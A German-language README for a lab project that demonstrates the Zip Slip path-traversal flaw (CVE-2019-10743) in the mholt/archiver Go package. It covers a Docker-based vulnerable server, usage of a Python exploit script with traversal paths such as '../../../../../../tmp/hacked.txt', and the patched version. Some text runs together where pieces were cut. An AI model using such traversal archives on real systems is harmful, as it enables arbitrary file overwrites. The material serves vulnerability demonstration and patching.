
Demonstriert die Zip Slip-Schwachstelle (CVE-2019-10743) mit einem Docker-basierten Server und einem Python-Exploit-Skript für Path Traversal mittels bösartiger ZIP-Dateien.
Dieses Projekt demonstriert die Zip Slip Schwachstelle (CVE-2019-10743) unter Verwendung der anfälligen Version des mholt/archiver Pakets.
Zip Slip ist eine Schwachstelle, die von den Sicherheitsforschern von Snyk aufgedeckt wurde. Es wurde festgestellt, dass die Schwachstelle mehrere Pakete betrifft, die in der Praxis verwendet werden. Die Schwachstelle kann ausgenutzt werden, um Probleme wie die folgenden zu verursachen:
| CVE | CVE-2019-10743 | | Paket | github.com/mholt/archiver | | Anfällige Versionen | >= 3.0.0, < 3.3.2 | | Gepatchte Version | 3.3.2 | | CVSS-Punktzahl | 5.5 (Moderat) |
mholt/archiver ist ein Go-Paket, das eine einfache und konsistente API für die Arbeit mit Archiv- und komprimierten Dateien bietet. Es unterstützt Formate wie .zip, .tar, .tar.gz, .7z oder .rar.
mholt/archiver Paket../../../../../tmp/hacked.txt)# Start the vulnerable server
./docker-run.sh start
# Stop the server
./docker-run.sh stop
# View logs
./docker-run.sh logs
# Clean up
./docker-run.sh cleanup
Hinweis: Stellen Sie sicher, dass docker-run.sh Ausführungsrechte hat:
# Give execution rights
chmod +x ./docker-run.sh
Nachdem der Container läuft, können Sie einen Befehl wie diesen verwenden, um auf die Testumgebung zuzugreifen:
# Connect to the container that is running the application
docker exec -it zipslip-vulnerable-server /bin/bash
# Install Python dependencies
pip3 install -r requirements.txt
# Execute the payload
python3 test_exploit.py -p "../../../../../../tmp/hacked.txt" -c "You were pwned!"
Hinweis: Die Befehle sollten innerhalb des Containers ausführbar sein.
-u, --url: Server-URL (Standard: http://localhost:8080)-z, --zip: ZIP-Dateiname (Standard: malicious_test.zip)-p, --path: Pfad-Traversal-Dateiname (Standard: ../../../malicious_escaped.txt)-c, --content: DateiinhaltUm diese Schwachstelle zu beheben:
mholt/archiver Version 3.3.2 oder höher